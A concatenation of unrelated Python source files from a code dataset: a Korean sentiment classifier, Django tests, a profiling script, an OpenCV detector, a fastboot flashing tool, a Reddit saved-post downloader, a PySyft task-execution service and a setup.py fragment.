encoding=\"utf-8\") as make_file:\r\n json.dump(test_docs, make_file, ensure_ascii=False, indent=\"\\t\")\r\n\r\n# 예쁘게(?) 출력하기 위해서 pprint 라이브러리 사용\r\npprint(train_docs[0])\r\n\r\ntokens = [t for d in train_docs for t in d[0]]\r\nprint(len(tokens))\r\n\r\ntext = nltk.Text(tokens, name='NMSC')\r\n\r\n# 전체 토큰의 개수\r\nprint(len(text.tokens))\r\n# 중복을 제외한 토큰의 개수\r\nprint(len(set(text.tokens)))\r\n# 출현 빈도가 높은 상위 토큰 10개\r\npprint(text.vocab().most_common(10))\r\n# 시간이 꽤 걸립니다! 시간을 절약하고 싶으면 most_common의 매개변수를 줄여보세요.\r\n# most_common(100) 의 수를 높일 수록 정확도가 올라갑니다.\r\nselected_words = [f[0] for f in text.vocab().most_common(200)]\r\n\r\ndef term_frequency(doc):\r\n return [doc.count(word) for word in selected_words]\r\n\r\ntrain_x = [term_frequency(d) for d, _ in train_docs]\r\ntest_x = [term_frequency(d) for d, _ in test_docs]\r\ntrain_y = [c for _, c in train_docs]\r\ntest_y = [c for _, c in test_docs]\r\n\r\nx_train = np.asarray(train_x).astype('float32')\r\nx_test = np.asarray(test_x).astype('float32')\r\ny_train = np.asarray(train_y).astype('float32')\r\ny_test = np.asarray(test_y).astype('float32')\r\n\r\n\r\nmodel = models.Sequential()\r\nmodel.add(layers.Dense(256, activation='relu', input_shape=(200,)))\r\nmodel.add(layers.Dense(256, activation='relu'))\r\nmodel.add(layers.Dense(1, activation='sigmoid'))\r\n\r\nmodel.compile(optimizer=optimizers.RMSprop(lr=0.001), loss=losses.binary_crossentropy, metrics=[metrics.binary_accuracy])\r\n\r\nmodel.fit(x_train, y_train, epochs=10, batch_size=1024)\r\nresults = model.evaluate(x_test, y_test)\r\n\r\n\r\ndef predict_pos_neg(review):\r\n token = tokenize(review)\r\n tf = term_frequency(token)\r\n data = np.expand_dims(np.asarray(tf).astype('float32'), axis=0)\r\n score = float(model.predict(data))\r\n return score * 10\r\n# 테스트\r\n# predict_pos_neg(\"올해 최고의 영화! 세 번 넘게 봐도 질리지가 않네요.\")\r\n\r\nall_data = read_data('input_data/ratings.txt')\r\nall_data = all_data[1:]\r\n\r\nindex_name = 'movie_senti_anal'\r\ndocs = []\r\n\r\nfor i in range(len(all_data)):\r\n docs.append({\r\n '_id' : i,\r\n 'review':all_data[i][1],\r\n 'pos_neg':int(predict_pos_neg(all_data[i][1]))\r\n })\r\nes = Elasticsearch(['localhost'], port=9200)\r\nhelpers.bulk(es, docs, index=index_name)","sub_path":"movie_senti_anal.py","file_name":"movie_senti_anal.py","file_ext":"py","file_size_in_byte":4105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"212031155","text":"from django.urls import reverse\nfrom tests.test_service_catalog.base_test_request import BaseTestRequest\n\n\nclass TestAdminSupportViews(BaseTestRequest):\n\n def setUp(self):\n super(TestAdminSupportViews, self).setUp()\n\n def test_get_support_list(self):\n url = reverse('service_catalog:support_list')\n response = self.client.get(url)\n self.assertEquals(200, response.status_code)\n self.assertEquals(len(response.context[\"table\"].data.data), 1)\n\n def test_cannot_get_support_list_when_logout(self):\n self.client.logout()\n url = reverse('service_catalog:support_list')\n response = self.client.get(url)\n self.assertEquals(403, response.status_code)\n","sub_path":"tests/test_service_catalog/test_views/test_admin/test_support/test_support_view.py","file_name":"test_support_view.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"12549008","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 4 18:47:16 2016\n\n@author: brianlibgober\n\"\"\"\n#%%\nimport pstats, cProfile\n\nimport pyximport\npyximport.install()\n\nfrom ars_libgober import *\n#%%\n\nnp.random.seed(1)\nX = np.sort(np.random.gamma(10,size=300))\nloga = np.log(X).sum(); b = X.size\nfrom scipy.special import digamma\ndef h(alpha):\n return (alpha-1)*loga - b*np.math.lgamma(alpha)\nh = np.vectorize(h)\ndef hprime(alpha):\n return loga - b*digamma(alpha)\nhprime = np.vectorize(hprime)\ninitial_knots = np.array([X[0],X[50],X[-1]])\nxlb = 0\nxub = np.inf\nnp.random.seed(1)\n#%% setup\nexample = ArsSampler(initial_knots,np.vectorize(h),np.vectorize(hprime),0,xub)\nstatement=\"example = ArsSampler(initial_knots,np.vectorize(h),np.vectorize(hprime),0,xub,10);example.sample(1)\"\ncProfile.runctx(statement, globals(), locals(), \"Profile.prof\")\ns = pstats.Stats(\"Profile.prof\")\ns.strip_dirs().sort_stats(\"time\").print_stats()\n","sub_path":"profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"564513552","text":"import numpy as np\nimport cv2\n\nfrom src.domain.center import Center\nfrom src.hands.moviment import Moviment\n\n# BUSCA OBJETOS QUE SE MOVIMENTA NO PLANO\n# OS PARAMETROS DO CONSTRUTOR E UM CRITERIO DE BUSCA\n# Moviment(WIDTH%, MARGEM%, AREA_MINIMA, AREA_MAXIMA)\n\nclass DetectCascade(Moviment):\n def __init__(self, percW, percError=20, minArea=1000, maxArea=(1000 * 10)):\n Moviment.__init__(self, percW, percError, minArea, maxArea)\n DetectCascade.id = 0\n self.haar_cascade = cv2.CascadeClassifier('/home/william/git/hackerspace-opencv/experiments/totvs-2/data/cascade.xml')\n (self.im_width, self.im_height) = (112, 92)\n\n def setFrame(self, frame):\n self.frame = frame\n\n def preProcess(self):\n self.gray = cv2.cvtColor(self.frame, cv2.COLOR_BGR2GRAY)\n mini = cv2.resize(self.gray, (self.gray.shape[1] / 4, self.gray.shape[0] / 4))\n faces = self.haar_cascade.detectMultiScale(mini, scaleFactor=4)\n self.faces = sorted(faces, key=lambda x: x[3])\n\n # RETORN UM ARRAY DE CENTROIDES\n # TIPO DO OBJ [Center]{x, y, w, h, id}\n # CADA VEZ QUE ENCONTRA UM OBJETO DA UM ID DIFERENTE\n def getCenters(self):\n self.centers = []\n if self.faces:\n for i in range(len(self.faces)):\n face_i = self.faces[i]\n (x, y, w, h) = [v * 4 for v in face_i]\n center = Center(x, y, w, h, DetectCascade.id)\n face = self.gray[y:y + h, x:x + w]\n face_resize = cv2.resize(face, (self.im_width, self.im_height))\n\n # cv2.rectangle(self.frame, (x, y), (x + w, y + h), (0, 255, 0), 3)\n self.centers.insert(0, center)\n DetectCascade.id += 1\n\n return self.centers\n","sub_path":"src/hands/detectCascade.py","file_name":"detectCascade.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"195395579","text":"#coding=utf-8\r\n#2018-4-17\r\n__author__ = 'w.s.w'\r\n\r\nimport os\r\nimport wx\r\nimport json\r\nimport time\r\nimport subprocess\r\nfrom lib.PrintInfo import Print\r\nfrom lib.GlobalVariable import GlobalVariable\r\nclass Flash(object):\r\n def __init__(self,serial):\r\n self.serial = serial\r\n self.au_cmd = None\r\n self.secondary_cmd = None\r\n self.get_au_cmd()\r\n self.get_secondary_cmd()\r\n\r\n\r\n def check_meta_path_is_correct(self,meta_path):\r\n fastboot_complete_path = os.path.join(meta_path, 'common', 'build', 'fastboot_complete.py')\r\n if os.path.exists(fastboot_complete_path):\r\n return True\r\n else:\r\n Print.info('META ERROR : Can not find \\\"fastboot_complete.py\\\" in path: \\\"%s\\\".' % meta_path)\r\n return False\r\n\r\n def check_au_path_is_correct(self,au_path):\r\n except_list = []\r\n for cmd in self.au_cmd:\r\n if 'erase' not in cmd:\r\n image = cmd.strip().split(' ')[-1]\r\n except_list.append(image)\r\n #print except_list\r\n #except_list = ['emmc_appsboot.mbn', 'userdata.img', 'cache.img', 'recovery.img','boot.img', 'system.img', 'persist.img']\r\n #except_list = [ 'userdata.img','boot.img','system.img','persist.img']\r\n if os.path.exists(au_path):\r\n files = os.listdir(au_path)\r\n for except_file in except_list:\r\n if except_file not in files:\r\n Print.info('AU ERROR : Path: \\\"%s\\\" does not exist.' % except_file)\r\n return False\r\n else:\r\n return True\r\n else:\r\n Print.info('AU ERROR : Path: \\\"%s\\\" does not exist.' % au_path)\r\n return False\r\n\r\n def check_secondary_path_is_correct(self,secondary_path):\r\n except_list = []\r\n for cmd in self.secondary_cmd:\r\n if 'erase' not in cmd:\r\n image = cmd.split(' ')[-1]\r\n except_list.append(image)\r\n #print except_list\r\n #except_list = ['emmc_appsboot.mbn', 'userdata.img', 'cache.img', 'recovery.img','boot.img', 'system.img', 'persist.img']\r\n #except_list = [ 'userdata.img','boot.img','system.img','persist.img']\r\n if os.path.exists(secondary_path):\r\n for except_file in except_list:\r\n image_path = os.path.join(secondary_path,except_file)\r\n if not os.path.exists(image_path):\r\n Print.info('Secondary ERROR : Path: \\\"%s\\\" does not exist.' % except_file)\r\n return False\r\n else:\r\n return True\r\n else:\r\n Print.info('Secondary ERROR : Path: \\\"%s\\\" does not exist.' % secondary_path)\r\n return False\r\n def get_au_cmd(self):\r\n au_path = os.path.join(GlobalVariable.RESOURCE_DIRECTORY,'Config.json')\r\n with open(au_path,'r') as f:\r\n dic = json.load(f)\r\n self.au_cmd = []\r\n for cmd in dic.keys():\r\n if dic[cmd]:\r\n self.au_cmd.append(cmd)\r\n\r\n\r\n def get_secondary_cmd(self):\r\n secondary_path = os.path.join(GlobalVariable.RESOURCE_DIRECTORY,'Secondary_Config.json')\r\n with open(secondary_path,'r') as f:\r\n dic = json.load(f)\r\n self.secondary_cmd = []\r\n for cmd in dic.keys():\r\n if dic[cmd]:\r\n self.secondary_cmd.append(cmd)\r\n\r\n def upgrade_meta(self,path,mode,win,row,col,au_path=None):\r\n result = False\r\n meta_upgrade_path = os.path.join(path, 'common', 'build', 'fastboot_complete.py')\r\n Print.info(mode.lower())\r\n if mode.lower() =='ufs':\r\n cmd = (r'python %s --sn %s --st \"ufs\"' % (meta_upgrade_path, self.serial))\r\n elif mode.lower() == 'sb':\r\n cmd = (r'python %s --sn %s --sb' % (meta_upgrade_path, self.serial))\r\n elif mode.lower() == 'ap':\r\n cmd = (r'python %s --sn %s --ap %s' % (meta_upgrade_path, self.serial, au_path))\r\n else:\r\n cmd = (r'python %s --sn %s' % (meta_upgrade_path, self.serial))\r\n\r\n Print.info(self.serial + ' ' + 'I run the cmd: {cmd} On PC'.format(cmd = cmd))\r\n info = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\r\n num = 0\r\n Print.info(self.serial + ' ' + \"*******************start upgrade meta************************\\n\")\r\n for line in iter(info.stdout.readline, ''):\r\n Print.info(self.serial + ' ' + line)\r\n if 'Starting' in line:\r\n num = num+1\r\n percent = '%d%%'% (num/24.0*100)\r\n if num>23:\r\n win.SetCellValue(row, col, '99%')\r\n win.SetCellTextColour(row, col, 'black')\r\n win.SetCellAlignment(row, col, wx.ALIGN_LEFT, wx.ALIGN_CENTER)\r\n else:\r\n win.SetCellValue(row, col, percent)\r\n win.SetCellTextColour(row, col, 'black')\r\n win.SetCellAlignment(row, col, wx.ALIGN_LEFT, wx.ALIGN_CENTER)\r\n if 'fastboot_complete.py: Loading complete.' in line:\r\n win.SetCellValue(row, col, '100%')\r\n win.SetCellTextColour(row, col, 'black')\r\n win.SetCellAlignment(row, col, wx.ALIGN_LEFT, wx.ALIGN_CENTER)\r\n result = True\r\n Print.info(self.serial + ' ' + \"*******************stop upgrade meta***************************\\n\")\r\n return result\r\n\r\n def upgrade_au(self,path,win,col,row):\r\n device = self.serial\r\n Print.info(self.serial + ' ' + \"*******************start upgrade Au***************************\\n\")\r\n myfastboot = fastboot_send_cmd(self.au_cmd,device,path,win,col,row)\r\n flag = myfastboot.send_cmd()\r\n Print.info(self.serial + ' ' + \"*******************stop upgrade Au***************************\\n\")\r\n return flag\r\n\r\n def upgrade_secondary_au(self,path,win,col,row):\r\n device = self.serial\r\n Print.info(self.serial + ' ' + \"*******************start upgrade secondary au***************************\\n\")\r\n myfastboot = fastboot_send_cmd(self.secondary_cmd,device,path,win,col,row)\r\n flag = myfastboot.send_cmd()\r\n Print.info(self.serial + ' ' + \"*******************stop upgrade secondary au***************************\\n\")\r\n return flag\r\n\r\nclass fastboot_send_cmd(object):\r\n def __init__(self, cmd_list, device, path, win, col, row):\r\n self.cmd_string = cmd_list\r\n self.device = device\r\n self.path = path\r\n self.win = win\r\n self.col = col\r\n self.row = row\r\n\r\n def change_to_cmd(self):\r\n self.cmd_string.sort()\r\n cmd_list_string = self.cmd_string\r\n cmd_list_list = []\r\n for item in cmd_list_string:\r\n if item:\r\n cmd_list_list.append(item.strip(' ').split(' '))\r\n for lst in cmd_list_list:\r\n if len(lst) > 1:\r\n lst[-1] = os.path.join(self.path, lst[-1])\r\n lst[0] = 'fastboot -s %s' % self.device\r\n elif len(lst) == 1:\r\n cmd_list_list.remove(lst)\r\n return cmd_list_list\r\n\r\n def fastboot_erase(self, cmd):\r\n partition = cmd[-1].split('\\\\')[-1]\r\n line = time.strftime(\"%c\") + \" Starting to erasing \" + partition\r\n Print.info(self.device + ' ' + line)\r\n fastboot_command = ' '.join(['fastboot -s %s' % self.device, 'erase', partition])\r\n Print.info(self.device + ' ' + fastboot_command)\r\n stuff = subprocess.Popen(fastboot_command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,shell=True).stdout.read()\r\n Print.info(self.device + ' ' + stuff)\r\n if stuff.count('OKAY') < 1:\r\n Print.info(self.device + ' ' + time.strftime(\"%c\") + \" : Fail\")\r\n flag = False\r\n else:\r\n Print.info(self.device + ' ' + time.strftime(\"%c\") + \" : Complete\")\r\n flag = True\r\n return flag\r\n\r\n def fastboot_flash(self, cmd):\r\n partition = cmd[-2]\r\n line = time.strftime(\"%c\") + \" : Starting to flash \" + partition\r\n Print.info(self.device + ' ' + line)\r\n fastboot_command = ' '.join(cmd)\r\n Print.info(self.device + ' ' + fastboot_command)\r\n stuff = subprocess.Popen(fastboot_command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,shell=True).stdout.read()\r\n Print.info(self.device + ' ' + stuff)\r\n if stuff.count('OKAY') < 2:\r\n Print.info(self.device + ' ' + time.strftime(\"%c\") + \" : Fail\")\r\n flag = False\r\n else:\r\n Print.info(self.device + ' ' + time.strftime(\"%c\") + \" : Complete\")\r\n flag = True\r\n return flag\r\n\r\n def send_cmd(self):\r\n cmd_list_list = self.change_to_cmd()\r\n # print cmd_list_list\r\n length = len(cmd_list_list)\r\n num = 0.0\r\n for cmd in cmd_list_list:\r\n num = num + 1.0\r\n percent = num / length * 100\r\n self.win.SetCellValue(self.row, self.col, str(int(percent)) + '%')\r\n self.win.SetCellTextColour(self.row, self.col, 'black')\r\n self.win.SetCellAlignment(self.row, self.col, wx.ALIGN_LEFT, wx.ALIGN_CENTER)\r\n if cmd[-2] == 'erase':\r\n self.fastboot_erase(cmd)\r\n # if not flag:\r\n # return False\r\n else:\r\n self.fastboot_flash(cmd)\r\n # if not flag:\r\n # return False\r\n else:\r\n Print.info(self.device + ' ' + 'Flash Succeed')\r\n return True\r\n","sub_path":"lib/ImageFlash.py","file_name":"ImageFlash.py","file_ext":"py","file_size_in_byte":9611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"242703714","text":"from django.urls import path, re_path\r\nfrom . import views\r\nfrom django.conf.urls import handler404, handler500\r\n\r\n\r\napp_name = \"homepage\"\r\n\r\n\r\nurlpatterns = [\r\n path('', views.homepage, name='homepage'),\r\n #path('newpage/', views.newpage, name='newpage'),\r\n path('testpage/', views.testpage, name='testpage'),\r\n path('contact/', views.contact, name='contact'),\r\n path('about-me/', views.about_me, name='aboutme')\r\n\r\n]\r\n\r\nhandler404 = \"blog.views.custom_404\"\r\nhandler500 = \"blog.views.custom_500\"","sub_path":"homepage/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"384228366","text":"# stdlib\nfrom datetime import date\nfrom io import StringIO\nimport sys\nfrom typing import Any\nfrom typing import Dict\nfrom typing import List\nfrom typing import Optional\nfrom typing import Type\n\n# third party\nfrom nacl.signing import VerifyKey\nfrom typing_extensions import final\n\n# relative\nfrom ...... import logger\nfrom ......core.common.uid import UID\nfrom ......core.store.storeable_object import StorableObject\nfrom .....common.group import VERIFYALL\nfrom .....common.serde.serializable import serializable\nfrom ....abstract.node import AbstractNode\nfrom ....domain_interface import DomainInterface\nfrom ....domain_msg_registry import DomainMessageRegistry\nfrom ...node_table.task import NoSQLTask\nfrom ...permissions.permissions import BasePermission\nfrom ...permissions.user_permissions import NoRestriction\nfrom ...permissions.user_permissions import UserIsOwner\nfrom ..generic_payload.syft_message import NewSyftMessage as SyftMessage\nfrom ..generic_payload.syft_message import ReplyPayload\nfrom ..generic_payload.syft_message import RequestPayload\nfrom .enum import EXECUTION_STATUS\nfrom .enum import TASK_SERVICE_DEFAULT_MESSAGES\nfrom .enum import TASK_SERVICE_FIELDS\nfrom .enum import TASK_SERVICE_STATUS\n\n# from RestrictedPython.Guards import safe_builtins\n# from RestrictedPython import compile_restricted\n\n\n@serializable(recursive_serde=True)\n@final\nclass CreateTask(SyftMessage, DomainMessageRegistry):\n # Pydantic Inner class to define expected request payload fields.\n class Request(RequestPayload):\n \"\"\"Payload fields and types used during a User Creation Request.\"\"\"\n\n inputs: Dict[str, str]\n code: str\n outputs: List[str]\n\n # Pydantic Inner class to define expected reply payload fields.\n class Reply(ReplyPayload):\n \"\"\"Payload fields and types used during a User Creation Response.\"\"\"\n\n message: str = TASK_SERVICE_DEFAULT_MESSAGES.CREATE_TASK.value\n\n request_payload_type = (\n Request # Converts generic syft dict into a CreateUserMessage.Request object.\n )\n reply_payload_type = (\n Reply # Creates a proper Reply payload message structure as a response.\n )\n\n def run( # type: ignore\n self, node: DomainInterface, verify_key: Optional[VerifyKey] = None\n ) -> ReplyPayload: # type: ignore\n user = node.users.get_user(verify_key=verify_key)\n\n task = NoSQLTask(\n uid=UID().to_string(),\n user=user.id.to_string(),\n inputs=self.payload.inputs,\n outputs={var: \" -- \" for var in self.payload.outputs},\n owner={\"name\": user.name, \"role\": user.role[\"name\"], \"email\": user.email},\n code=self.payload.code,\n status=TASK_SERVICE_STATUS.PENDING.value,\n created_at=date.today().strftime(\"%d/%m/%Y\"),\n updated_at=\" -- \",\n reviewed_by=\" -- \",\n execution={\n TASK_SERVICE_FIELDS.STATUS.value: EXECUTION_STATUS.WAITING.value\n },\n )\n node.tasks.add(task)\n return CreateTask.Reply()\n\n def get_permissions(self) -> List[Type[BasePermission]]:\n \"\"\"Returns the list of permission classes.\"\"\"\n return [NoRestriction]\n\n\n@serializable(recursive_serde=True)\n@final\nclass GetTasks(SyftMessage, DomainMessageRegistry):\n # Pydantic Inner class to define expected request payload fields.\n class Request(RequestPayload):\n pass\n\n # Pydantic Inner class to define expected reply payload fields.\n class Reply(ReplyPayload):\n tasks: List[Dict[str, Any]]\n\n request_payload_type = (\n Request # Converts generic syft dict into a CreateUserMessage.Request object.\n )\n reply_payload_type = (\n Reply # Creates a proper Reply payload message structure as a response.\n )\n\n def run( # type: ignore\n self, node: DomainInterface, verify_key: Optional[VerifyKey] = None\n ) -> ReplyPayload: # type: ignore\n user = node.users.get_user(verify_key=verify_key)\n\n if user.role[\"name\"] == node.roles.owner_role[\"name\"]:\n tasks = node.tasks.all()\n else:\n tasks = node.tasks.find(\n search_params={TASK_SERVICE_FIELDS.USER.value: user.id.to_string()}\n )\n return GetTasks.Reply(tasks=tasks)\n\n def get_permissions(self) -> List[Type[BasePermission]]:\n \"\"\"Returns the list of permission classes.\"\"\"\n return [NoRestriction]\n\n\n@serializable(recursive_serde=True)\n@final\nclass GetTask(SyftMessage, DomainMessageRegistry):\n # Pydantic Inner class to define expected request payload fields.\n class Request(RequestPayload):\n task_uid: str\n\n # Pydantic Inner class to define expected reply payload fields.\n class Reply(ReplyPayload):\n code: str\n status: str\n owner: Dict[str, str]\n created_at: str\n updated_at: str\n reviewed_by: str\n execution: Dict[str, str]\n uid: str\n reason: str\n inputs: Dict[str, str] = {}\n outputs: Dict[str, str] = {}\n\n request_payload_type = (\n Request # Converts generic syft dict into a CreateUserMessage.Request object.\n )\n reply_payload_type = (\n Reply # Creates a proper Reply payload message structure as a response.\n )\n\n def run( # type: ignore\n self, node: DomainInterface, verify_key: Optional[VerifyKey] = None\n ) -> ReplyPayload: # type: ignore\n user = node.users.get_user(verify_key=verify_key)\n if user.role[\"name\"] == node.roles.owner_role[\"name\"]:\n task = node.tasks.find_one(\n search_params={TASK_SERVICE_FIELDS.UID.value: self.payload.task_uid}\n )\n else:\n task = node.tasks.find_one(\n search_params={\n TASK_SERVICE_FIELDS.USER.value: user.id.to_string(),\n TASK_SERVICE_FIELDS.UID.value: self.payload.task_uid,\n }\n )\n\n return GetTask.Reply(**task)\n\n def get_permissions(self) -> List[Type[BasePermission]]:\n \"\"\"Returns the list of permission classes.\"\"\"\n return [NoRestriction]\n\n\n@serializable(recursive_serde=True)\n@final\nclass ReviewTask(SyftMessage, DomainMessageRegistry):\n # Pydantic Inner class to define expected request payload fields.\n class Request(RequestPayload):\n task_uid: str\n reason: str\n status: str\n\n # Pydantic Inner class to define expected reply payload fields.\n class Reply(ReplyPayload):\n message: str = TASK_SERVICE_DEFAULT_MESSAGES.REVIEW_TASK.value\n\n request_payload_type = (\n Request # Converts generic syft dict into a CreateUserMessage.Request object.\n )\n reply_payload_type = (\n Reply # Creates a proper Reply payload message structure as a response.\n )\n\n def run( # type: ignore\n self, node: DomainInterface, verify_key: Optional[VerifyKey] = None\n ) -> ReplyPayload: # type: ignore\n user = node.users.get_user(verify_key=verify_key)\n\n status = self.payload.status.lower()\n\n update_values = {\n TASK_SERVICE_FIELDS.STATUS.value: status,\n TASK_SERVICE_FIELDS.REASON.value: self.payload.reason,\n TASK_SERVICE_FIELDS.REVIEWED_BY.value: user.name,\n TASK_SERVICE_FIELDS.UPDATED_AT.value: date.today().strftime(\"%d/%m/%Y\"),\n TASK_SERVICE_FIELDS.EXECUTION.value: {}\n if status != TASK_SERVICE_STATUS.ACCEPTED.value\n else {TASK_SERVICE_FIELDS.STATUS.value: EXECUTION_STATUS.ENQUEUED.value},\n }\n\n node.tasks.update(\n search_params={TASK_SERVICE_FIELDS.UID.value: self.payload.task_uid},\n updated_args=update_values,\n )\n task = node.tasks.find(search_params={\"uid\": self.payload.task_uid})\n if not task:\n raise Exception(f\"The given task_id:{self.payload.task_uid} does not exist\")\n task = task[0]\n\n node.tasks.update(\n search_params={\"uid\": task.uid},\n updated_args={\n \"execution\": {\"status\": \"executing\"},\n },\n )\n execute_task(node, task.uid, task.code, task.inputs, task.outputs)\n return CreateTask.Reply()\n\n def get_permissions(self) -> List[Type[BasePermission]]:\n \"\"\"Returns the list of permission classes.\"\"\"\n return [UserIsOwner]\n\n\nstdout_ = sys.stdout\nstderr_ = sys.stderr\n\n\ndef execute_task(\n node: AbstractNode,\n task_uid: str,\n code: str,\n inputs: Dict[str, str],\n outputs: Dict[str, str],\n) -> None:\n global stdout_\n global stderr_\n try:\n logger.info(f\"inital outputs: {outputs}\")\n node.tasks.update(\n search_params={\"uid\": task_uid},\n updated_args={\"execution\": {\"status\": \"executing\"}},\n )\n\n # Check overlap between inputs and vars\n global_input_inter = set(globals().keys()).intersection(set(inputs.keys()))\n local_input_inter = set(vars().keys()).intersection(set(inputs.keys()))\n\n # If there's some intersection between global variables and input\n if global_input_inter or local_input_inter:\n stderr_message = \" You can't use variable name: \"\n stderr_message += \",\".join(list(global_input_inter))\n stderr_message += \",\".join(list(local_input_inter))\n\n node.tasks.update(\n search_params={\"uid\": task_uid},\n updated_args={\n \"execution\": {\"status\": \"failed\", \"stderr\": stderr_message}\n },\n )\n return None\n\n local_vars = {}\n for key, value in inputs.items():\n local_vars[key] = node.store.get(value, proxy_only=True).data\n\n # create file-like string to capture ouputs\n codeOut = StringIO()\n codeErr = StringIO()\n\n sys.stdout = codeOut\n sys.stderr = codeErr\n\n locals().update(local_vars)\n # byte_code = compile_restricted(code, \"\", \"exec\")\n # exec(byte_code, restricted_globals)\n exec(code) # nosec\n\n for output in outputs:\n logger.info(f\"variable: {output} result: {vars()[output]}\")\n outputs[output] = vars()[output]\n\n # restore stdout and stderr\n sys.stdout = stdout_\n sys.stderr = stderr_\n\n logger.info(outputs)\n\n logger.info(\"Error: \" + str(codeErr.getvalue()))\n logger.info(\"Std ouputs: \" + str(codeOut.getvalue()))\n\n new_id = UID()\n node.store.check_collision(new_id)\n\n obj = StorableObject(\n id=new_id,\n data=outputs,\n search_permissions={VERIFYALL: None},\n )\n\n obj.read_permissions = {\n node.verify_key: node.id,\n }\n\n obj.write_permissions = {\n node.verify_key: node.id,\n }\n\n node.store[new_id] = obj\n\n node.tasks.update(\n search_params={\"uid\": task_uid},\n updated_args={\n \"execution\": {\"status\": \"done\"},\n \"outputs\": {\"output\": new_id.to_string()},\n },\n )\n except Exception as e:\n sys.stdout = stdout_\n sys.stderr = stderr_\n print(\"Task Failed with Exception\", e)\n finally:\n sys.stdout = stdout_\n sys.stderr = stderr_\n","sub_path":"packages/syft/src/syft/core/node/common/node_service/task_submission/task_submission.py","file_name":"task_submission.py","file_ext":"py","file_size_in_byte":11310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"480003297","text":"from net.tinyos.message.avrmote import BaseTOSMsg\nimport simtime\ndelay = simtime.onesec\ndata = [0,208,7,0,0]\npursuerNode = 102\n\nfor i in range (2,len(motes)):\n if i.getID() == pursuerNode:\n continue\n msg = BaseTOSMsg()\n msg.set_addr(i)\n msg.set_type(99)\n msg.set_group(221)\n msg.set_length(5)\n msg.set_data(data)\n comm.sendRadioMessage(i, sim.getTossimTime() + delay, msg)\n delay += 10\n","sub_path":"tinyos-1.x/contrib/ucb/apps/LandmarkRouting/LandmarkRoutingStop.py","file_name":"LandmarkRoutingStop.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"302287594","text":"import os\nimport pprint\nimport traceback\n\nimport requests\nimport stdiomask\n\nfrom reddit_service.authenticate import AuthenticateUser\nfrom reddit_service.saved_posts import get_saved_posts\n\nsave_folder = \"saved\"\n\ndef process_image(data :dict):\n image_type = data[\"url\"].split(\".\")[-1]\n print(image_type)\n resp = requests.get(data[\"url\"])\n with open(os.path.join(save_folder, data[\"name\"] + \".\" + image_type), \"wb\") as f:\n f.write(resp.content)\n\ndef process_video(data: dict):\n resp = requests.get(data[\"preview\"][\"reddit_video_preview\"][\"fallback_url\"])\n with open(os.path.join(save_folder, data[\"name\"] + \".mp4\"), \"wb\") as f:\n f.write(resp.content)\n\n\nif __name__ == \"__main__\":\n reddit_user_name = input(\"reddit_user_name: \")\n reddit_password = stdiomask.getpass(\"reddit_password: \")\n authenticate_user = AuthenticateUser(reddit_user_name, reddit_password)\n posts_limit = 100\n before_post = None\n if os.path.exists(\"latest_saved_post.txt\"):\n with open(\"latest_saved_post.txt\", \"r\") as f:\n before_post = f.read()\n \n if before_post:\n while True:\n posts = get_saved_posts(authenticate_user, before=before_post, posts_limit=posts_limit)\n for post in posts[\"data\"][\"children\"]:\n print(post[\"data\"][\"name\"])\n post_hint = post[\"data\"].get(\"post_hint\")\n if not post_hint:\n continue\n try:\n if \"image\" in post_hint:\n process_image(post[\"data\"])\n if \"video\" in post_hint:\n process_video(post[\"data\"])\n except Exception as e:\n traceback.print_exc()\n before_post = posts[\"data\"][\"children\"][0][\"data\"][\"name\"]\n print(\"before_post\", before_post)\n if len(posts[\"data\"][\"children\"]) < posts_limit:\n print(\"data done\")\n break\n \n \n else:\n after_post_name = None\n count=0\n while True:\n posts = get_saved_posts(authenticate_user, after=after_post_name, posts_limit=posts_limit)\n with open(\"latest_saved_post.txt\", \"w\") as f:\n f.write(posts[\"data\"][\"children\"][0][\"data\"][\"name\"])\n for post in posts[\"data\"][\"children\"]:\n print(post[\"data\"][\"name\"])\n post_hint = post[\"data\"].get(\"post_hint\")\n if not post_hint:\n continue\n try:\n if \"image\" in post_hint:\n process_image(post[\"data\"])\n if \"video\" in post_hint:\n process_video(post[\"data\"])\n except Exception as e:\n traceback.print_exc()\n after_post_name = posts[\"data\"][\"children\"][-1][\"data\"][\"name\"]\n if len(posts[\"data\"][\"children\"]) < posts_limit:\n print(\"data done\")\n break\n ","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"488468947","text":"\"\"\"Setup for pymfe package.\"\"\"\nimport setuptools\nimport os\n\n# get __version__ from _version.py\nver_file = os.path.join('pymfe', '_version.py')\nwith open(ver_file) as f:\n exec(f.read())\n\n\nNAME = 'pymfe'\n\n\nVERSION = __version__\n\n\nAUTHOR = 'Edesio Alcobaça, Felipe Alves Siqueira, Luis Paulo Faina Garcia'\n\n\nAUTHOR_EMAIL = 'edesio@usp.br, felipe.siqueira@usp.br, lpgarcia@icmc.usp.br'\n\n\nDESCRIPTION = 'Meta-feature Extractor'\n\n\nwith open('README.md', 'r') as fh:\n LONG_DESCRIPTION = fh.read()\n\n\nLICENSE = 'MIT'\n\n\nURL = 'https://github.com/ealcobaca/pymfe'\n\n\nDOWNLOAD_URL = 'https://github.com/ealcobaca/pymfe/releases'\n\n\nCLASSIFIERS = ['Intended Audience :: Science/Research',\n 'Intended Audience :: 